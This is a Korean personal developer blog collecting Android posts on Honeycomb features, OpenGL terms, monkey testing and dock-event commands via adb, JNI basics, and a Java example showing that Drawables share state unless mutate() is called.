ActionMode startActionMode(Action<ode.Callback.callback)
final boolean startDrag(ClipData data, View.DragShadowBuilder shadowBuilder, Object myLocalState, int flags)


--Protected Methods--
void dispatchSetActivated(boolean activated)









저작자 표시 비영리
신고
posted by 몰라용
이놈의 꿀 소스!!!!!!!!!!!!!!!!!!!!!!

honeycomb에 새로 추가된 기능
(UI 중심으로 볼려고 한다.)


1. Fragments
    -  기존 activity와 비슷
    -  Activity 안에서 FragmentManager로 관리 할 수있다.

2. Action Bar
    - 기존의 타이틀 바를 대신한다.

3. System clipboard
    - System-wide clipboard로부터 어플리케이션은 데이터를 복사하기나 붙혀넣기를 할 수 있다. 

4. Drag and drop
    - 새로운 api로 간단하게 drag and drop을 지원한다.

5. App widgets
    - 기존에 widgets을 만들기 위해서는 충분한 뷰가 지원 되지 않았다.
       예전의 뷰를 몇개 지원했는지 기억이 안나지만 GridView, ListView, StackView등 여러가지를 지원한다. 

6. Status bar notifications
   - Notification APIs가 확장되었다고 한다. 예를들어서 setLargeIcon(), setTicker()등등

7. Content loaders
  - 

8. Bluetooth A2DP and headset APIs
   -

9. Animation framework
   - 

10.Extended UI framework
    - 여러가지 위젯이 추가되었습니다.
      AdapterViewAnimator, AdapterViewFlipper 등등




************************************
일단 에뮬...겁나 느리다. 테스트하기가 두려울 정도다.............





















허니컴 sdk 다운로드
http://developer.android.com/sdk/index.html
 


 
저작자 표시 비영리
신고
posted by 몰라용


Android OpenGL 기초  용어 정리

Vertex - 3D space에서의 점 하나를 이른다.
Triangle - 삼각형
Polygon - 3개 이상의 vertices
Primitives - Triangle이나 polygon을 이용하여 만든 3차원 object











관련 자료:
 
android : 인조 인간, 인간의 특징을 가진
저작자 표시 비영리
신고
posted by 몰라용

퍼온 경로 : http://blog.daum.net/whisperlip/7287317



안드로이드 SDK에는 많은 툴이 포함되어 있고 그 중에는 monkey test를 할 수 있는 adb(Android Debug Bridge)가 존재한다.

개발 환경 설정 같은 건 모두 패스 하고 monkey test하는 방법만 적겠다.

monkey test에 대한 자세한 공식 레퍼런스는 http://developer.android.com/guide/developing/tools/monkey.html 를 참조하기 바란다.

 

monkey test를 실행하기 위해서는 adb shell을 실행해야 한다.

cmd창으로 가서 다음과 같은 명령어를 입력한다.

 

C:\>adb -s <테스트할 device 명> shell

 테스트할 device명은 ddms를 실행하고 USB로 연결하면 알 수 있으며 에뮬레이터를 사용한다면 해당 에뮬레이터 명을 입력하면된다.

 단, 실제 폰으로 테스트 할 경우에는 ddms에 나타나는 그 이름 그대로 입력하면 되고 에뮬을 사용할 때에는 ddms에 나온 것처럼 앞에 emulator-xxxx 식으로

써줘야 한다. <아래 예제>

 

C:\>adb -s emulator-5554 shell

 

 제대로 기기가 연결되면 커맨트 입력이 $로 변경되어 나타난다.

그럼 이제 monkey test를 할 수 있는 상태과 된 것이다.

 

제일 기본 적인 monkey test 실행 커맨드는 아래와 같다.

 

$ monkey -v 100

 monkey test를 어떤 이벤트이던지 100번 날리는 것으로 실행하겠다라는 뜻이다.

즉, monkey test는 아래와 같은 형태로 입력하게 되어 있다.

 

$ monkey [<명령 옵션> <바로 앞의 명령 옵션에 대한 백분률 또는 시간>.....] <이벤트 개수>

 -v를 붙인 이유는 -v 옵션이 monkey에서 발생 시킨 이벤트를 보여주는 옵션이기 때문이다. 왠만하면 항상 붙여 놓는 것이 좋다.

 

만약 특정 package만 이벤트를 던져 테스트를 하고 싶다면 -p 옵션을 중간에 넣는다.

 

$ monkey -p <패키지 명>

 

만약 계산기만 100번 테스트 하고 싶다면 예제는 아래와 같다.

 

$ monkey -p com.sec.android.app.calculator -v 100

 

또한 계산기만 100번 하는데 그 중에 터치 테스트로만 100% 하고 싶다라면 아래와 같이 한다.

 

$ monkey -p com.sec.android.app.calculator --pct-touch 100 -v 100

 

 물론 자신이 각 이벤트 종류의 백분율은 조정할 수 있다.

예를 들어 계산기 100번 이벤트 발생시키는 테스트를 하는데 터치는 70%로 하고 주 네비게이션 이벤트는 30%로 하고 싶다면

아래와 같이 하면 된다.

 

$ monkey -p com.sec.android.app.calculator --pct-touch 70 --pct-majornav 30 -v 100

 

 이벤트를 날리는데 너무 빨라 해당 테스트 장치가 제대로 이벤트를 받지 못하는 것 같다면 이벤트 발생 속도를 제어 할 수도 있다.

아래와 같은 옵션을 주면 된다.

 

$ monkey -p com.sec.android.app.calculator --throttle 1000 -v 100

 위에서는 1000ms(1초) 간격으로 이벤트를 100번 보낸다는 뜻이다.

 

그 외에도 monkey test는 스크립트를 짜서 돌릴 수도 있으며 다양한 옵션으로 원하는 테스트를 할 수 있도록 한다.

 

영어로 된 레퍼런스가 쥐약이신 분들을 위해 번역을 대충 잠깐 하자면

 

General

--help  도움말 표시

-v  출력 레벨 조정 (레벨 0 - 디폴트로 시작, 종료 등의 최소한의 출력, 레벨 1 - 어떤 이벤트를 발생 시켰는지 상세 표시, 레벨 2 - 레벨 1보다 더 상세한 정보 출력)

 

Events

-s <seed>  monkey는 무작위 이벤트를 발생시키지만 seed를 지정하면 에러를 발견하고 수정한 후 이전과 동일한 이벤트를 발생시킬 수 있다. 같은 이벤트를 발생시키고자 한다면 같은 seed값을 지정하면 된다.

--throttle <milliseconds>  이벤트 발생 속도를 지정. 지정하지 않는 경우에는 가능한 빠르게 이벤트를 발생시킨다.

--pct-touch <percent>  터치 이벤트 발생 비율을 조정한다.(터치 이벤트는 화면의 한 곳을 눌렀다 떼는 신호를 말한다)

--pct-motion <percent>  모션 이벤트의 발생 비율을 조정한다.(모션 이벤트는 화면 한 지점을 누르고 무작위로 다른 지점으로 이동 후 떼는 것을 말한다)  
--pct-trackball <percent>  트랙 볼 이벤트의 발생 비율을 조정한다.(하나 이상의 무작위 이동 이벤트를 말하며 가끔씩 한번의 클릭이 올 수 있다)  
--pct-nav <percent>  "basic"네비게이션 이벤트의 발생 비율을 조정한다.(네비게이션 이벤트란 H/W(폰)의 상하좌우 방향키 입력을 말한다.)  
--pct-majornav <percent>  "major"네비게이션 이벤트의 발생 비율을 조정한다.(백 키나 메뉴 키, 방향키의 가운데 키와 같은 이벤트를 말한다.)

--pct-syskeys <percent>  시스템 이벤트의 발생 비율을 조정한다.(Home 버튼, 백 키, 전화 걸기, 전화  끊기, 볼륨 조절과 같은 이벤트를 말한다.) 
--pct-appswitch <percent>  엑티디비 실행 비율을 조정한다. 패키지 안의 다른 액티비티로 변환되는 것을 말한다. Monkey는startActivity()에 의한 Activity 실행도 테스트한다.  
--pct-anyevent <percent>  그 밖의 이벤트의 비율을 조정한다.

 

Constraints

-p <allowed-package-name  테스트할 패키지 명을 지정한다. 지정이 없는 경우에는 시스템 모든 패키지를 대상으로 한다. -p <package1> -p <package2>와 같이 복수의 패키지 지정도 가능하다. 테스트할 패키지 내에서 다른 패키지의 액티비티를 사용하고 있다면 그 패키지를 지정한다.  
-c <main-category>  카테고리를 지정한다. 지정하지 않으면 Intent.CATEGORY_LAUNCHER 또는, Intent.CATEGORY_MONKEY를 지정한 것으로 된다. 복수의 카테고리를 지정할 때에는 -c 옵션을 카테고리마다 지정한다.

 

Debugging

--dbg-no-events  액티비티의 실행은 하지만 이벤트를 발생시키지는 않는다.
-v  커맨드와 함께 사용하하고 최상의 결과를 얻기 위해 -v의 조합과 함게 하나 이상의 패키지 제약과 non-zero throttle로 30초 이상 monkey 실행을 유지한다.  
--hprof  프로파일 리포트를 작성한다. 리포트 파일은 data/misc 디렉터리에 작성되고 파일 사이즈는 5M 이상이 되므로 주의한다. Traceview 어플리케이션 도큐먼트에 상세하게 설명되어 있다. 
--ignore-crashes  지정을 하지 않는 경우에 Monkey는 어플리케이션의 크래쉬나 익셉션이 발생하면 정지된다. 이 옵션을 지정하면 이벤트 개수만큼 계속 이벤트를 보내게 된다.
--ignore-timeouts  지정을 하지 않은 경우에 Monkey는 타임 아웃 에러가 발생하면 정지한다. 타임 아웃 에러는 Application Not Responding 다이얼로그와 같은 것이 나올 때는 말한다. 옵션을 지정하면 에러 후에도 이벤트를 계속 발생시킨다.
--ignore-security-exceptions  지정 하지 않은 경우네 Monkey는 시큐리티 익셉션(퍼미션 에러)가 발생하면 정지한다. 이 옵션을 지정하면 에러 후에도 이벤트를 계속 발생시킨다.
--kill-process-after-error  통상 에러에 의해 Monkey가 정지될 때에는 테스트 된 어플리케이션은 fail이 나지만 프로세스는 돌고 있다. 이 옵션을 지정하면 시스템에서 프로세스로 종료 시그널(kill)을 보낸다. 
--monitor-native-crashes  Android의 시스템 네이티브 코드에서 일어나는 크래쉬를 리포트한다. --kill-process-after-error 옵션을 함께 사용하면 시스템은 정지한다.
--wait-dbg  디버거가 attached 할 때가지 Monkey 실행을 정지한다.

 

추가로 -p 옵션으로 패키지들을 테스트하고 싶은데 패키지 명들을 알고 싶다면

ddms를 열고 상단 메뉴 중에 Device-Show process status를 선택하여 현재 돌고 있는 프로세스 명을 보면 된다.

예를 들어 달력 패키지를 테스트하고 싶다면 패키지 명에 com.android.calendar 를 넣으면 된다.

저작자 표시 비영리
신고
posted by 몰라용

--adb로 docking test시--
**dock 에 접촉 과 같은 명령어
am start -a android.intent.action.MAIN -c android.intent.category.DESK_DOCK


<브로드 캐스트 용>
**dock event 전송 **
am broadcast -a android.intent.action.DOCK_EVENT

**dock event 전송 & extra 값 전송**
am broadcast -a android.intent.action.DOCK_EVENT --ei android.intent.extra.DOCK_STATE 0

저작자 표시 비영리
신고
posted by 몰라용
* 이 글은 개인적인 공부 복습을 위해 작성되었습니다. (추석은 역시 좋아!)
   참고서적 : 인사이드 안드로이드

JNI(Java Native Interface) : java와 C/C++ 모듈 간의 인터페이스를 가능하게 해주는 것
  java의 한계성을 극복하기 위해 사용한다고 말해도 좋을 듯 합니다.
 c/c++에 비해 느린 java코드의 한계성을 극복하고,  직접적인 하드웨어를 제어하고,  기존에 이미 많은 c/c++ 코드로 제작되어
 코드들을 재사용하기 위해 사용합니다.

자바측에서 JNI를 거쳐 c언어를 호출해서 개발하는 순서
 1 단계 : 자바코드 작성
 2 단계 : 자바코드 컴파일
 3 단계 : c 헤더 파일 생성
 4 단계 : c 코드 작성
 5 단계 : c 공유 라이브러리 생성
 6 단계 : 자바 프로그램 생성





저작자 표시 비영리
신고
posted by 몰라용

어떤 책을 보고 나도 다짐했다.....프로그램하나당 단위테스트 프로그램을 꼭 작성하겠노라고...........


http://www.brighthub.com/mobile/htc/articles/70703.aspx

http://mobile.tutsplus.com/tutorials/android/android-sdk-junit-testing/
저작자 표시 비영리
신고
posted by 몰라용


오늘은 모에 대해 작성해 볼까..생각하는 도중...drawable에 대해 고민하던 일이 생각나서 몇 글자 끄적끄적 거린다!
먼저 코드부터 작성한 후 설명을~

TestDrawableMain.java
 
package com.park.testdrawable;

import android.app.Activity;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.content.pm.PackageManager.NameNotFoundException;
import android.graphics.PorterDuff.Mode;
import android.graphics.drawable.Drawable;
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.TextView;

public class TestDrawableMain extends Activity {
    /** Called when the activity is first created. */
	
	private Button button01;
	private TextView textView01,textView02,textView03,textView04;
	
	
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
        
        
        button01 = (Button)findViewById(R.id.Button01);
        textView01 = (TextView)findViewById(R.id.TextView01);
        textView02 = (TextView)findViewById(R.id.TextView02);
        textView03 = (TextView)findViewById(R.id.TextView03);
        textView04 = (TextView)findViewById(R.id.TextView04);
        
        init();
        
        
        button01.setOnClickListener(new OnClickListener() {
			@Override
			public void onClick(View arg0) {
				
				

				
			}
		});
        
    }


	private void init() {
		
		
		PackageManager manager = getPackageManager();
		int red = 0x88FF0000; 
		int green = 0x7700FF00; 
		int blue = 0x880000FF;
		int nu = 0x00000000;
		//ApplicationInfo applicationinfo = manager.getApplicationInfo("com.google.android.voicesearch", PackageManager.GET_META_DATA);
		 Drawable drawable;
		try {
			drawable = manager.getApplicationIcon("com.google.android.voicesearch");			
			drawable.setColorFilter(red, Mode.SRC_ATOP);
			textView01.setCompoundDrawablesWithIntrinsicBounds(null, drawable, null, null);
			drawable.setColorFilter(green, Mode.SRC_ATOP);
			textView02.setCompoundDrawablesWithIntrinsicBounds(null, drawable, null, null);
			drawable.setColorFilter(blue, Mode.SRC_ATOP);
			textView03.setCompoundDrawablesWithIntrinsicBounds(null, drawable, null, null);
			drawable.setColorFilter(nu, Mode.SRC_ATOP);
			textView04.setCompoundDrawablesWithIntrinsicBounds(null, manager.getApplicationIcon("com.google.android.voicesearch"), null, null);
		} catch (NameNotFoundException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
		
	}
        
}
--main.xml--
 


	


	
	
	
	
	



특별한 내용은 없다. 코드로 보면 안드로이드 내부 어플리케이션인 voicesearch의 아이콘을 가져와서 칼라필터를 적용시켜
각각의 textview의 아이콘들을 변경해주는 코드이다.

하지만 테스트 해보면 무엇인가 이상하다는 생각을 할 것이다.!
int a=1;
System.out.print(a);
a++;
System.out.print(a);
a++;
출력값은 1 2  <--이런식으로 출력되는 것이 맞지만 위의 코드를 돌려보면 drawable에 상태를 중간 중간 변경해서 적용했는데도
불구하고 모든 textview에 적용된 아이콘들의 상태가 일괄적이다는 것!!!

그래서 몇시간 삽질하다가 검색한 결과!!!
안드로이드는 최적화를 위해서 drawable은 내부에서 같은 상수값을 공유한다는 것!!

위의 코드에서 각각의 textview에 drawable 상태값을 다르게 주려면
각각의drawable 인스턴스를 생성한후 mutate() 함수를 호출해서 적용해주어야 된다.




저작자 표시 비영리
신고
posted by 몰라용